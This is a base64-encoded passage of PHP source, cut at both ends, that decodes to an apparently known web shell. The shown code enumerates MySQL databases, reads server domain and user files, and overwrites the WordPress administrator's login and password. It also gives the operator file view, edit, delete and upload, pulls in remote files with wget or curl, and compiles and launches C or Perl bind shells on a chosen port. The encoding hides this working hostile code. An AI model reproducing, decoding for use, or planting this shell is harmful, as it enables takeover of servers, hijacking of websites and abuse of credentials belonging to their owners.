IC8+PC9wPjwvZm9ybT48L2Rpdj4gIjskZGJzID0gYXJyYXkoKTskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+PHRoPmF2YWlsYWJsZSBkYXRhYmFzZXM8L3RoPjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfbGlzdF9kYnMoJGNvbik7DQp3aGlsZShsaXN0KCRkYikgPSBAbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCkpe0BhcnJheV9wdXNoKCRkYnMsJGRiKTt9IEBzb3J0KCRkYnMpO2ZvcmVhY2goJGRicyBhcyAkZGIpew0KJG1zZyAuPSAiPHRyPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7eD1teXNxbCZhbXA7c3FsaG9zdD0iLiRzcWxob3N0LiImYW1wO3NxbHVzZXI9Ii4kc3FsdXNlci4iJmFtcDtzcWxwYXNzPSIuJHNxbHBhc3MuIiZhbXA7c3FscG9ydD0iLiRzcWxwb3J0LiImYW1wO2RiPSIuJGRiLiInPiRkYjwvYT48L3RkPjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KQG15c3FsX2Nsb3NlKCRjb24pO30gZWxzZSAkbXNnID0gIjxwIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPmNhbid0IGNvbm5lY3Q8L3A+IjtlY2hvICRtc2c7fSBlbHNlez8+IA0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9Im15c3FsIiAvPjxicj48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5NeVNRTCBDb25uZWN0PC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlcm5hbWU8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsdXNlciIgdmFsdWU9InJvb3QiIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO1Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyMjBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBhc3MiIHZhbHVlPSJwYXNzd29yZCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6ODBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBvcnQiIHZhbHVlPSIzMzA2IiAvPiZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0c3FsIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4gDQo8P3BocCB9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpe2VjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7JGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpe2RpZSgiPGNlbnRlcj5FcnJvciA6IGkgY2FuJ3QgcmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9jZW50ZXI+Iik7fWVjaG8gJzx0YWJsZSBpZD0ib3V0cHV0Ij48dHIgYmdjb2xvcj0jY2VjZWNlPjx0ZD5Eb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+JzsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7aWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTtmbHVzaCgpO2lmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXskdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpO2VjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7Zmx1c2goKTt9fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dvcmRwcmVzcycpKXtpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7ZWNobyAiPGJyPjxicj48YnI+PGJyPjxicj48YnI+PEZPUk0gbWV0aG9kPSdQT1NUJz5EQl9QcmVmaXggOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J3dwXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtob3N0ICAgICA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO2RhdGFiYXNlIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdEYXRhYmFzZScgbmFtZT0nZGF0YWJhc2UnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3VzZXJuYW1lIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl91c2VyJyBuYW1lPSd1c2VybmFtZScgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDs8YnI+PGJyPk5ldyB1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBwYXNzd29yZCA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj4mbmJzcDsmbmJzcDs8YnI+PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdjaGFuZ2UnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2V7JHByZWZpeCA9ICRfUE9TVFsncHJlZml4J107JGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107JGRhdGFiYXNlPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkPSAkX1BPU1RbJ3Bhc3N3b3JkJ107JHB3ZD0gJF9QT1NUWydwd2QnXTskYWRtaW49ICRfUE9TVFsnYWRtaW4nXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRoYXNoID0gY3J5cHQoJHB3ZCk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpO2lmKCRrMil7ZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7fX1lY2hvICc8L2NlbnRlcj4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3RyaW5nJykpeyR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Pz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPmsybGwzM2Q8L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdO3N3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7YnJlYWs7Y2FzZSAnd2hhc2gnIDogJGNvZGk9Y3J5cHQoJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7YnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ0JyA6ICRjb2RpPWhhc2goIm1kNCIsJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTI1NicgOiAkY29kaT1oYXNoKCJzaGEyNTYiLCR0ZXh0KTticmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jzt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7QG9iX3N0YXJ0KCk7QGV2YWwoInBocGluZm8oKTsiKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7JGF3YWwgPSBzdHJwb3MoJGJ1ZmYsIjxib2R5PiIpKzY7JGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7ZWNobyAiPGRpdiBjbGFzcz0ncGhwaW5mbyc+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+Ijt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSl7aWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9IG1hZ2ljYm9vbSgkX0dFVFsndmlldyddKTtpZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7JGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7JG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddO30gZWxzZSB7JG93bmVyID0gJHVzZXI7fSRmaWxuID0gYmFzZW5hbWUoJGZpbGUpO2VjaG8gIjx0YWJsZSBzdHlsZT0nbWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Jz4gPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluayc+Ii4kZmlsZS4iPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJyBzdHlsZT0nbWFyZ2luOjA7cGFkZGluZzowOyc+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSciLiRmaWxuLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjIwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgdmFsdWU9JyIuJGZpbG4uIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3R1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7JyAvPiA8L2Zvcm0+IDwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii51a3VyYW4oJGZpbGUpLiI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+QWN0aW9uczwvdGQ+PHRkPjxhIGhyZWY9Jz95PSRwd2QmYW1wO2VkaXQ9JGZpbGUnPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoXCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkbD0kZmlsZSc+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9Jz95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiInPnRleHQ8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGUnPmNvZGU8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXtlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iJz48L2Rpdj4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpe2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iOyRmaWxlID0gd29yZHdyYXAoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwiMjQwIiwiXG4iKTtAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7ZWNobyAiPC9kaXY+Ijt9IGVsc2Uge2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iO2VjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpO2VjaG8gIjwvZGl2PiI7fX1lbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXtlY2hvIHNob3dkaXIoJHB3ZCwkcHJvbXB0KTt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSl7aWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pKXskZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107JGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKXskdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTtpZihAZndyaXRlKCRmaWxleiwkY29udGVudCkpICRtc2cgPSAiZmlsZSBzYXZlZCA8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4gIi4kdGltZTtlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiO0BmY2xvc2UoJGZpbGV6KTt9ZWxzZSAkbXNnID0gInBlcm1pc3Npb24gZGVuaWVkIjt9aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9ICRfR0VUWydlZGl0J107aWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpeyRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmlsZXopKXskY29udGVudCAuPSBodG1sZW50aXRpZXMoc3RyX3JlcGxhY2UoIicnIiwiJyIsZmdldHMoJGZpbGV6KSkpO30NCkBmY2xvc2UoJGZpbGV6KTt9Pz48Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOz8+IiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+IA0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPiANCjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPiA8dHI+DQo8dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOz8+IiAvPg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+IA0KJm5ic3A7PD9waHAgZWNobyAkbXNnOz8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd1cGxvYWQnKSl7aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKXtpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpeyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTskdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHBpbmRhaCA9ICRwYXRoLiRmbmFtZTskc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpO2lmICgkc3RhdCkgeyRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjt9IGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fSANCmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7JHBpbGloYW4gPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTskd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7JHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTtpZihpc19maWxlKCRwaW5kYWgpKXskbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7fWVsc2UgJG1zZyA9ImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjt9Pz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPiA8dHI+PHRoIGNvbHNwYW49IjIiPkxvY2FsPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz48L3RkPjwvdHI+IDwvdHI+IDwvdGFibGU+PC9mb3JtPiA8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5SZW1vdGU8L3RoPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCI+IDx0YWJsZT48dHI+PHRkPmxpbms8L3RkPg0KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3NpdGUvZmlsZS4qIj48L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+DQo8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7Pz4iIC8+PC90ZD48L3RyPiA8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+IDxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IDwvdHI+IDwvdGFibGU+IDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCjw/cGhwIH0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbmV0c3Bsb2l0Jykpew0KaWYgKGlzc2V0KCRfUE9TVFsnYmluZCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTskcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7dHVsaXMoImJkYy5jIiwkcG9ydF9iaW5kX2JkX2MpO2V4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpO2V4ZSgiY2htb2QgNzc3IGJkYyIpO0B1bmxpbmsoImJkYy5jIik7ZXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIi4vYmRjICRwb3IiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO319IA0KZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgeyRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7JHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pO3R1bGlzKCJiZHAiLCRwb3J0X2JpbmRfYmRfcGwpO2V4ZSgiY2htb2QgNzc3IGJkcCIpOyRwMj13aGljaCgicGVybCIpO2V4ZSgk